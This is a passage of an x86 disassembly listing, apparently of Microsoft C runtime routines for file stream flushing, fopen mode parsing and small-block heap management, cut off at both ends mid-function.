sub_41FB5E cmp eax, 0FFFFFFFFh pop ecx jz short loc_41A430 cmp edi, 1 jz short loc_41A3FE cmp edi, 2 jnz short loc_41A414 loc_41A3FE: ; CODE XREF: sub_41A3B7+40j push 2 call sub_41FB5E push 1 mov ebp, eax call sub_41FB5E pop ecx cmp eax, ebp pop ecx jz short loc_41A430 loc_41A414: ; CODE XREF: sub_41A3B7+45j push edi call sub_41FB5E pop ecx push eax call dword_423078 ; CloseHandle test eax, eax jnz short loc_41A430 call dword_42308C ; RtlGetLastWin32Error mov ebp, eax jmp short loc_41A432 ; --------------------------------------------------------------------------- loc_41A430: ; CODE XREF: sub_41A3B7+3Bj ; sub_41A3B7+5Bj ... xor ebp, ebp loc_41A432: ; CODE XREF: sub_41A3B7+77j push edi call sub_41FAE4 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41A44D push ebp call sub_41EC6F pop ecx jmp short loc_41A462 ; --------------------------------------------------------------------------- loc_41A44D: ; CODE XREF: sub_41A3B7+8Bj xor eax, eax jmp short loc_41A465 ; --------------------------------------------------------------------------- loc_41A451: ; CODE XREF: sub_41A3B7+Ej ; sub_41A3B7+2Fj and dword_4894B0, 0 mov dword_4894AC, 9 loc_41A462: ; CODE XREF: sub_41A3B7+94j or eax, 0FFFFFFFFh loc_41A465: ; CODE XREF: sub_41A3B7+98j pop edi pop esi pop ebp pop ebx retn sub_41A3B7 endp ; =============== S U B R O U T I N E ======================================= sub_41A46A proc near ; CODE XREF: sub_417600+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41A493 test al, 8 jz short loc_41A493 push dword ptr [esi+8] call sub_41793B and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41A493: ; CODE XREF: sub_41A46A+Aj ; sub_41A46A+Ej pop esi retn sub_41A46A endp ; =============== S U B R O U T I N E ======================================= sub_41A495 proc near ; CODE XREF: sub_41A535+2Dp ; sub_41A535+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41A4A7 push esi call sub_41A535 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41A4A7: ; CODE XREF: sub_41A495+7j push esi call sub_41A4D0 test eax, eax pop ecx jz short loc_41A4B7 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41A4B7: ; CODE XREF: sub_41A495+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41A4CC push dword ptr [esi+10h] call sub_41FB9B neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41A4CC: ; CODE XREF: sub_41A495+26j xor eax, eax pop esi retn sub_41A495 endp ; =============== S U B R O U T I N E ======================================= sub_41A4D0 proc near ; CODE XREF: sub_417600+1Ap ; sub_418A0E+37p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41A51D test ax, 108h jz short loc_41A51D mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41A51D push edi push eax push dword ptr [esi+10h] call sub_41EAC2 add esp, 0Ch cmp eax, edi jnz short loc_41A516 mov eax, [esi+0Ch] test al, 80h jz short loc_41A51D and al, 0FDh mov [esi+0Ch], eax jmp short loc_41A51D ; --------------------------------------------------------------------------- loc_41A516: ; CODE XREF: sub_41A4D0+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41A51D: ; CODE XREF: sub_41A4D0+14j ; sub_41A4D0+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41A4D0 endp ; =============== S U B R O U T I N E ======================================= sub_41A52C proc near ; CODE XREF: sub_41F813p push 1 call sub_41A535 pop ecx retn sub_41A52C endp ; =============== S U B R O U T I N E ======================================= sub_41A535 proc near ; CODE XREF: sub_41A495+Ap ; sub_41A52C+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_48A7C0, esi jle short loc_41A593 loc_41A546: ; CODE XREF: sub_41A535+5Cj mov eax, dword_4897A8 mov eax, [eax+esi*4] test eax, eax jz short loc_41A58A mov ecx, [eax+0Ch] test cl, 83h jz short loc_41A58A cmp [esp+0Ch+arg_0], 1 jnz short loc_41A570 push eax call sub_41A495 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41A58A inc ebx jmp short loc_41A58A ; --------------------------------------------------------------------------- loc_41A570: ; CODE XREF: sub_41A535+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41A58A test cl, 2 jz short loc_41A58A push eax call sub_41A495 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41A58A or edi, eax loc_41A58A: ; CODE XREF: sub_41A535+1Bj ; sub_41A535+23j ... inc esi cmp esi, dword_48A7C0 jl short loc_41A546 loc_41A593: ; CODE XREF: sub_41A535+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41A59E mov eax, edi loc_41A59E: ; CODE XREF: sub_41A535+65j pop edi pop esi pop ebx retn sub_41A535 endp ; =============== S U B R O U T I N E ======================================= sub_41A5A2 proc near ; CODE XREF: sub_417656+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_41F748 test eax, eax pop ecx jz short loc_41A62B cmp esi, offset dword_43B1B8 jnz short loc_41A5C0 xor eax, eax jmp short loc_41A5CB ; --------------------------------------------------------------------------- loc_41A5C0: ; CODE XREF: sub_41A5A2+18j cmp esi, offset dword_43B1D8 jnz short loc_41A62B push 1 pop eax loc_41A5CB: ; CODE XREF: sub_41A5A2+1Cj inc dword_489670 test word ptr [esi+0Ch], 10Ch jnz short loc_41A62B cmp dword_489504[eax*4], 0 push ebx push edi lea edi, ds:489504h[eax*4] mov ebx, 1000h jnz short loc_41A611 push ebx call sub_417889 test eax, eax pop ecx mov [edi], eax jnz short loc_41A611 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_41A61E ; --------------------------------------------------------------------------- loc_41A611: ; CODE XREF: sub_41A5A2+4Dj ; sub_41A5A2+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_41A61E: ; CODE XREF: sub_41A5A2+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_41A62B: ; CODE XREF: sub_41A5A2+10j ; sub_41A5A2+24j ... xor eax, eax pop esi retn sub_41A5A2 endp ; =============== S U B R O U T I N E ======================================= sub_41A62F proc near ; CODE XREF: sub_417656+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_41A659 mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_41A66A push esi call sub_41A4D0 and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41A659: ; CODE XREF: sub_41A62F+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_41A66A push eax call sub_41A4D0 pop ecx loc_41A66A: ; CODE XREF: sub_41A62F+10j ; sub_41A62F+32j pop esi retn sub_41A62F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A66C proc near ; CODE XREF: sub_417688+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_489678 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41A6A5 cmp al, 72h jz short loc_41A69E cmp al, 77h jnz loc_41A7B9 mov ecx, 301h jmp short loc_41A6AA ; --------------------------------------------------------------------------- loc_41A69E: ; CODE XREF: sub_41A66C+21j xor ecx, ecx or esi, 1 jmp short loc_41A6AD ; --------------------------------------------------------------------------- loc_41A6A5: ; CODE XREF: sub_41A66C+1Dj mov ecx, 109h loc_41A6AA: ; CODE XREF: sub_41A66C+30j or esi, 2 loc_41A6AD: ; CODE XREF: sub_41A66C+37j push 1 pop edx loc_41A6B0: ; CODE XREF: sub_41A66C+8Bj ; sub_41A66C+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41A79F cmp edx, ebx jz loc_41A79F movsx eax, al cmp eax, 54h jg short loc_41A73E jz short loc_41A72E sub eax, 2Bh jz short loc_41A718 sub eax, 19h jz short loc_41A70E sub eax, 0Eh jz short loc_41A6F9 dec eax jnz loc_41A790 cmp [ebp+var_4], ebx jnz loc_41A790 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41A6B0 ; --------------------------------------------------------------------------- loc_41A6F9: ; CODE XREF: sub_41A66C+6Fj cmp [ebp+var_4], ebx jnz loc_41A790 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41A6B0 ; --------------------------------------------------------------------------- loc_41A70E: ; CODE XREF: sub_41A66C+6Aj test cl, 40h jnz short loc_41A790 or ecx, 40h jmp short loc_41A6B0 ; --------------------------------------------------------------------------- loc_41A718: ; CODE XREF: sub_41A66C+65j test cl, 2 jnz short loc_41A790 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41A6B0 ; --------------------------------------------------------------------------- loc_41A72E: ; CODE XREF: sub_41A66C+60j mov eax, 1000h test ecx, eax jnz short loc_41A790 or ecx, eax jmp loc_41A6B0 ; --------------------------------------------------------------------------- loc_41A73E: ; CODE XREF: sub_41A66C+5Ej sub eax, 62h jz short loc_41A78B dec eax jz short loc_41A774 sub eax, 0Bh jz short loc_41A75D sub eax, 6 jnz short loc_41A790 test ch, 0C0h jnz short loc_41A790 or ch, 40h jmp loc_41A6B0 ; --------------------------------------------------------------------------- loc_41A75D: ; CODE XREF: sub_41A66C+DDj cmp [ebp+var_8], ebx jnz short loc_41A790 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41A6B0 ; --------------------------------------------------------------------------- loc_41A774: ; CODE XREF: sub_41A66C+D8j cmp [ebp+var_8], ebx jnz short loc_41A790 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41A6B0 ; --------------------------------------------------------------------------- loc_41A78B: ; CODE XREF: sub_41A66C+D5j test ch, 0C0h jz short loc_41A797 loc_41A790: ; CODE XREF: sub_41A66C+72j ; sub_41A66C+7Bj ... xor edx, edx jmp loc_41A6B0 ; --------------------------------------------------------------------------- loc_41A797: ; CODE XREF: sub_41A66C+122j or ch, 80h jmp loc_41A6B0 ; --------------------------------------------------------------------------- loc_41A79F: ; CODE XREF: sub_41A66C+4Aj ; sub_41A66C+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_41FBF2 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41A7BD loc_41A7B9: ; CODE XREF: sub_41A66C+25j xor eax, eax jmp short loc_41A7D7 ; --------------------------------------------------------------------------- loc_41A7BD: ; CODE XREF: sub_41A66C+14Bj mov eax, [ebp+arg_C] inc dword_489670 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41A7D7: ; CODE XREF: sub_41A66C+14Fj pop edi pop esi pop ebx leave retn sub_41A66C endp ; =============== S U B R O U T I N E ======================================= sub_41A7DC proc near ; CODE XREF: sub_417688p mov edx, dword_48A7C0 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41A84D mov ebx, dword_4897A8 mov edi, ebx loc_41A7F8: ; CODE XREF: sub_41A7DC+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41A813 test byte ptr [ecx+0Ch], 83h jz short loc_41A80E inc eax add edi, 4 cmp eax, edx jl short loc_41A7F8 jmp short loc_41A84D ; --------------------------------------------------------------------------- loc_41A80E: ; CODE XREF: sub_41A7DC+26j mov esi, [ebx+eax*4] jmp short loc_41A837 ; --------------------------------------------------------------------------- loc_41A813: ; CODE XREF: sub_41A7DC+20j mov edi, eax push 20h shl edi, 2 call sub_417889 pop ecx mov ecx, dword_4897A8 mov [edi+ecx], eax mov eax, dword_4897A8 mov edi, [edi+eax] cmp edi, ebp jz short loc_41A84D mov esi, edi loc_41A837: ; CODE XREF: sub_41A7DC+35j cmp esi, ebp jz short loc_41A84D or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41A84D: ; CODE XREF: sub_41A7DC+12j ; sub_41A7DC+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41A7DC endp ; =============== S U B R O U T I N E ======================================= sub_41A854 proc near ; CODE XREF: sub_41789B+1Fp ; sub_41914F+126p ... arg_0 = dword ptr 4 mov eax, dword_489510 test eax, eax jz short loc_41A86C push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41A86C push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41A86C: ; CODE XREF: sub_41A854+7j ; sub_41A854+12j xor eax, eax retn sub_41A854 endp ; =============== S U B R O U T I N E ======================================= sub_41A86F proc near ; CODE XREF: sub_41A89C+136p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 call dword_423100 ; GetModuleHandleA cmp word ptr [eax], 5A4Dh jnz short loc_41A89A mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41A89A add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41A89A: ; CODE XREF: sub_41A86F+15j ; sub_41A86F+1Cj pop esi retn sub_41A86F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A89C proc near ; CODE XREF: sub_41A9E4+20p var_122C = byte ptr -122Ch var_19C = byte ptr -19Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_88 = dword ptr -88h var_4 = byte ptr -4 push ebp mov ebp, esp mov eax, 122Ch call sub_417830 lea eax, [ebp+var_98] push ebx push eax mov [ebp+var_98], 94h call dword_423144 ; GetVersionExA test eax, eax jz short loc_41A8DF cmp [ebp+var_88], 2 jnz short loc_41A8DF cmp [ebp+var_94], 5 jb short loc_41A8DF push 1 pop eax jmp loc_41A9E1 ; --------------------------------------------------------------------------- loc_41A8DF: ; CODE XREF: sub_41A89C+27j ; sub_41A89C+30j ... lea eax, [ebp+var_122C] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call dword_4231A4 ; GetEnvironmentVariableA test eax, eax jz loc_41A9CE xor ebx, ebx lea ecx, [ebp+var_122C] cmp [ebp+var_122C], bl jz short loc_41A921 loc_41A90E: ; CODE XREF: sub_41A89C+83j mov al, [ecx] cmp al, 61h jl short loc_41A91C cmp al, 7Ah jg short loc_41A91C sub al, 20h mov [ecx], al loc_41A91C: ; CODE XREF: sub_41A89C+76j ; sub_41A89C+7Aj inc ecx cmp [ecx], bl jnz short loc_41A90E loc_41A921: ; CODE XREF: sub_41A89C+70j lea eax, [ebp+var_122C] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_418AA0 add esp, 0Ch test eax, eax jnz short loc_41A943 lea eax, [ebp+var_122C] jmp short loc_41A98C ; --------------------------------------------------------------------------- loc_41A943: ; CODE XREF: sub_41A89C+9Dj lea eax, [ebp+var_19C] push 104h push eax push ebx call dword_423094 ; GetModuleFileNameA cmp [ebp+var_19C], bl lea ecx, [ebp+var_19C] jz short loc_41A977 loc_41A964: ; CODE XREF: sub_41A89C+D9j mov al, [ecx] cmp al, 61h jl short loc_41A972 cmp al, 7Ah jg short loc_41A972 sub al, 20h mov [ecx], al loc_41A972: ; CODE XREF: sub_41A89C+CCj ; sub_41A89C+D0j inc ecx cmp [ecx], bl jnz short loc_41A964 loc_41A977: ; CODE XREF: sub_41A89C+C6j lea eax, [ebp+var_19C] push eax lea eax, [ebp+var_122C] push eax call sub_417580 pop ecx pop ecx loc_41A98C: ; CODE XREF: sub_41A89C+A5j cmp eax, ebx jz short loc_41A9CE push 2Ch push eax call sub_418C50 pop ecx cmp eax, ebx pop ecx jz short loc_41A9CE inc eax mov ecx, eax cmp [eax], bl jz short loc_41A9B3 loc_41A9A5: ; CODE XREF: sub_41A89C+115j cmp byte ptr [ecx], 3Bh jnz short loc_41A9AE mov [ecx], bl jmp short loc_41A9AF ; --------------------------------------------------------------------------- loc_41A9AE: ; CODE XREF: sub_41A89C+10Cj inc ecx loc_41A9AF: ; CODE XREF: sub_41A89C+110j cmp [ecx], bl jnz short loc_41A9A5 loc_41A9B3: ; CODE XREF: sub_41A89C+107j push 0Ah push ebx push eax call sub_41851C add esp, 0Ch cmp eax, 2 jz short loc_41A9E1 cmp eax, 3 jz short loc_41A9E1 cmp eax, 1 jz short loc_41A9E1 loc_41A9CE: ; CODE XREF: sub_41A89C+5Cj ; sub_41A89C+F2j ... lea eax, [ebp+var_4] push eax call sub_41A86F cmp [ebp+var_4], 6 pop ecx sbb eax, eax add eax, 3 loc_41A9E1: ; CODE XREF: sub_41A89C+3Ej ; sub_41A89C+126j ... pop ebx leave retn sub_41A89C endp ; =============== S U B R O U T I N E ======================================= sub_41A9E4 proc near ; CODE XREF: sub_4198E4+5Ap arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call dword_4231AC ; HeapCreate test eax, eax mov dword_48AB24, eax jz short loc_41AA3A call sub_41A89C cmp eax, 3 mov dword_48AB28, eax jnz short loc_41AA20 push 3F8h call sub_41AA41 pop ecx jmp short loc_41AA2A ; --------------------------------------------------------------------------- loc_41AA20: ; CODE XREF: sub_41A9E4+2Dj cmp eax, 2 jnz short loc_41AA3D call sub_41B588 loc_41AA2A: ; CODE XREF: sub_41A9E4+3Aj test eax, eax jnz short loc_41AA3D push dword_48AB24 call dword_4231A8 ; HeapDestroy loc_41AA3A: ; CODE XREF: sub_41A9E4+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_41AA3D: ; CODE XREF: sub_41A9E4+3Fj ; sub_41A9E4+48j push 1 pop eax retn sub_41A9E4 endp ; =============== S U B R O U T I N E ======================================= sub_41AA41 proc near ; CODE XREF: sub_41A9E4+34p arg_0 = dword ptr 4 push 140h push 0 push dword_48AB24 call dword_4230E8 ; RtlAllocateHeap test eax, eax mov dword_48AB1C, eax jnz short loc_41AA5E retn ; --------------------------------------------------------------------------- loc_41AA5E: ; CODE XREF: sub_41AA41+1Aj mov ecx, [esp+arg_0] and dword_48AB14, 0 and dword_48AB18, 0 push 1 mov dword_48AB10, eax mov dword_48AB20, ecx mov dword_48AB08, 10h pop eax retn sub_41AA41 endp ; =============== S U B R O U T I N E ======================================= sub_41AA89 proc near ; CODE XREF: sub_41793B+17p ; sub_41914F+4Cp ... arg_0 = dword ptr 4 mov eax, dword_48AB18 lea ecx, [eax+eax*4] mov eax, dword_48AB1C lea ecx, [eax+ecx*4] loc_41AA99: ; CODE XREF: sub_41AA89+26j cmp eax, ecx jnb short loc_41AAB1 mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41AAB3 add eax, 14h jmp short loc_41AA99 ; --------------------------------------------------------------------------- loc_41AAB1: ; CODE XREF: sub_41AA89+12j xor eax, eax locret_41AAB3: ; CODE XREF: sub_41AA89+21j retn sub_41AA89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AAB4 proc near ; CODE XREF: sub_41793B+23p ; sub_41914F+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41ADD8 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41AB8A sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41AB18 push 3Fh pop edx loc_41AB18: ; CODE XREF: sub_41AAB4+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41AB6C cmp edx, 20h jnb short loc_41AB43 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41AB64 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41AB64 ; --------------------------------------------------------------------------- loc_41AB43: ; CODE XREF: sub_41AAB4+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41AB64 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41AB64: ; CODE XREF: sub_41AAB4+86j ; sub_41AAB4+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41AB6F ; --------------------------------------------------------------------------- loc_41AB6C: ; CODE XREF: sub_41AAB4+6Aj mov ecx, [ebp+var_4] loc_41AB6F: ; CODE XREF: sub_41AAB4+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41AB8A: ; CODE XREF: sub_41AAB4+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41AB98 push 3Fh pop edx loc_41AB98: ; CODE XREF: sub_41AAB4+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41AC3B sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41ABBD mov ebx, esi loc_41ABBD: ; CODE XREF: sub_41AAB4+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41ABCF mov edx, esi loc_41ABCF: ; CODE XREF: sub_41AAB4+117j cmp ebx, edx jz short loc_41AC36 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41AC1E cmp ebx, 20h jnb short loc_41ABFF mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41AC1E mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41AC1E ; --------------------------------------------------------------------------- loc_41ABFF: ; CODE XREF: sub_41AAB4+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41AC1E mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41AC1E: ; CODE XREF: sub_41AAB4+128j ; sub_41AAB4+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41AC36: ; CODE XREF: sub_41AAB4+11Dj mov esi, [ebp+arg_4] jmp short loc_41AC3E ; --------------------------------------------------------------------------- loc_41AC3B: ; CODE XREF: sub_41AAB4+EDj mov ebx, [ebp+arg_0] loc_41AC3E: ; CODE XREF: sub_41AAB4+185j cmp [ebp+var_C], 0 jnz short loc_41AC4C cmp ebx, edx jz loc_41ACCD loc_41AC4C: ; CODE XREF: sub_41AAB4+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41ACCD mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41ACA4 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41AC93 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41AC93: ; CODE XREF: sub_41AAB4+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41ACCD ; --------------------------------------------------------------------------- loc_41ACA4: ; CODE XREF: sub_41AAB4+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41ACBA lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41ACBA: ; CODE XREF: sub_41AAB4+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41ACCD: ; CODE XREF: sub_41AAB4+192j ; sub_41AAB4+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41ADD8 mov eax, dword_48AB14 test eax, eax jz loc_41ADCA mov ecx, dword_48AB0C mov esi, dword_4231B0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi ; VirtualFree mov ecx, dword_48AB0C mov eax, dword_48AB14 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_48AB14 mov ecx, dword_48AB0C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_48AB14 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_48AB14 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41AD5B and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_48AB14 loc_41AD5B: ; CODE XREF: sub_41AAB4+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41ADCA push ebx push 0 push dword ptr [eax+0Ch] call esi ; VirtualFree mov eax, dword_48AB14 push dword ptr [eax+10h] push 0 push dword_48AB24 call dword_4230E4 ; RtlFreeHeap mov eax, dword_48AB18 mov edx, dword_48AB1C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_48AB14 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_417FC0 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_48AB18 cmp eax, dword_48AB14 jbe short loc_41ADC0 sub [ebp+arg_0], 14h loc_41ADC0: ; CODE XREF: sub_41AAB4+306j mov eax, dword_48AB1C mov dword_48AB10, eax loc_41ADCA: ; CODE XREF: sub_41AAB4+234j ; sub_41AAB4+2ABj mov eax, [ebp+arg_0] mov dword_48AB0C, edi mov dword_48AB14, eax loc_41ADD8: ; CODE XREF: sub_41AAB4+38j ; sub_41AAB4+227j pop edi pop esi pop ebx leave retn sub_41AAB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADDD proc near ; CODE XREF: sub_4178C7+18p ; sub_41914F+77p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_48AB18 mov edx, dword_48AB1C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41AE1D or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41AE2D ; --------------------------------------------------------------------------- loc_41AE1D: ; CODE XREF: sub_41ADDD+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41AE2D: ; CODE XREF: sub_41ADDD+3Ej mov eax, dword_48AB10 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41AE54 loc_41AE3B: ; CODE XREF: sub_41ADDD+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41AE54 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41AE3B loc_41AE54: ; CODE XREF: sub_41ADDD+5Cj ; sub_41ADDD+6Aj cmp ebx, [ebp+var_4] jnz short loc_41AED2 mov ebx, edx loc_41AE5B: ; CODE XREF: sub_41ADDD+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41AE77 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi 